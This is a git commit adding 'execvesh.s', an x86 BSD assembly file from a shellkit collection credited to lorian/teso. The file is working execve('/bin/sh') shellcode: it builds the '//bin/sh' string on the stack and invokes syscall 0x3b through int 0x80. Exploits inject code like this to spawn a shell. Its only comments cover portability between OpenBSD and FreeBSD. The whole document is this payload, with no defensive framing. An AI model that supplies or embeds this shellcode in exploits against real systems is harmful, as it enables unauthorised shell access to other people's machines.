From c9cbeced5b3f2bdd7407e29c0811e65954132540 Mon Sep 17 00:00:00 2001 From: Root THC Date: Tue, 24 Feb 2026 12:42:47 +0000 Subject: initial --- other/shellkit/x86_bsd/execvesh.s | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) create mode 100644 other/shellkit/x86_bsd/execvesh.s (limited to 'other/shellkit/x86_bsd/execvesh.s') diff --git a/other/shellkit/x86_bsd/execvesh.s b/other/shellkit/x86_bsd/execvesh.s new file mode 100644 index 0000000..370e7a4 --- /dev/null +++ b/other/shellkit/x86_bsd/execvesh.s @@ -0,0 +1,31 @@ +/* x86/BSD execve /bin/sh shellcode + * + * lorian / teso + */ + +/* somehow the obsd on plan9 where i tested it, needs the labels + * exported with _ before, while freebsd doesnt + */ + +/* argv: OBSD needs a pointer to NULL, FBSD accepts NULL */ + + .globl cbegin + .globl _cbegin + .globl cend + .globl _cend + +_cbegin: +cbegin: + pushl $0x3b + popl %eax + cdq + pushl %edx + movl %esp, %ebx + push $0x68732F6E + push $0x69622F2F + pusha /* FULLPOWER */ + pop %esi + pop %esi + int $0x80 +_cend: +cend: -- cgit v1.3